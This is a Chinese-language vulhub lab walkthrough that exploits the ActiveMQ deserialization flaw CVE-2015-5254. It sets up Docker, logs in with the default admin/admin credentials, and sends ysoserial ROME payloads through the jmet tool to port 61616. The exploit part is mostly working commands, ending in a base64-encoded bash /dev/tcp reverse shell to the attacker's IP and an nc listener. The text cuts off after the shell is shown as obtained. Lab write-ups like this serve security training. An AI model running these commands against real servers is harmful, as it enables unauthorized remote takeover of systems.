ActiveMQ 反序列化漏洞(CVE-2015-5254)
kali(攻击机)
Ubuntu(靶机-192.168.150.141)
安装docker(ubuntu)
更新源命令:apt-get update
安装docker命令:apt install docker.io
查看docker版本命令:docker --version
安装docker-compose
更新源命令:apt-get update
安装docker-compose命令:apt install docker-compose
查看docker-compose版本命令:docker-compose --version
下载vulhub
下载vulhub命令:
git clone GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose
换源
步骤一:编辑 Docker 配置文件
sudo nano /etc/docker/daemon.json
步骤二:添加国内镜像源 (阿里云内容如下)
{
"registry-mirrors":["https://6kx4zyno.mirror.aliyuncs.com"]
}
步骤三:重启 Docker 服务命令
sudo systemctl daemon-reload
sudo systemctl restart docker
进入靶场及拉取镜像
进入环境命令:cd vulhub
ls命令查看其中所有的靶场:
cd 靶场-进入一个靶场
启动项目靶场命令:docker-compose up -d (关闭:docker-compose )
查看靶场端口命令:docker ps
运行环境后,它将在端口 61616 和 8161 上建立两个端口。端口 61616 是工作端口,消息在此端口上传递。端口 8161 是网页管理页面端口。访问,可以看到网络管理页面,但这个漏洞理论上不需要网络。浏览器访问:http://your-ip:8161
使用默认账号密码进行登录(admin/admin),其中ActiveMQ的版本为5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。
漏洞利用步骤
- 生成序列化有效负载(可以使用 ysoserial)
- 将有效负载发送到端口 61616
- 访问 Web 管理页面并阅读序列化消息,然后可以触发漏洞。
过程
首先下载jmet的jar文件,在同一个目录下创建名为external 的文件夹
#下载jmet的jar包 命令如下:
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
#在刚刚下载jmet包的同一目录下创建external目录 命令如下:
mkdir external
在攻击机kali中执行命令,将有效负载发送到靶机IP的61616端口:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.150.141 61616
此时,将向目标 ActiveMQ 添加一个名为 event 的队列,可以访问以查看此队列中的所有消息。http://your-ip:8161/admin/browse.jsp?JMSDestination=Event
点击此消息触发命令执行
进入容器,命令:docker-compose exec activemq bash
输入命令:ls -la /tmp/ 可以看到 /tmp/success 已成功创建,表示漏洞利用成功
反弹shell
将该命令替换为反向 shell 语句并重用它:
#bash反弹命令
bash -i >& /dev/tcp/192.168.150.128 /31005 0>&1
将命令进行base64编码得到base64编码值:
#bash64解码
bash -c {echo,base64编码值}|{base64,-d}|{bash,-i}
#在kali上开启端口监听命令:
nc -lvvp 31005
#kali执行弹shell命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xMjggLzMxMDA1IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.150.141 61616
重新查看event队列,找到对应的ID号点击触发执行
返回监听端口是否已经接受到弹回的shell
可以看到此时靶机已被控制
正常情况下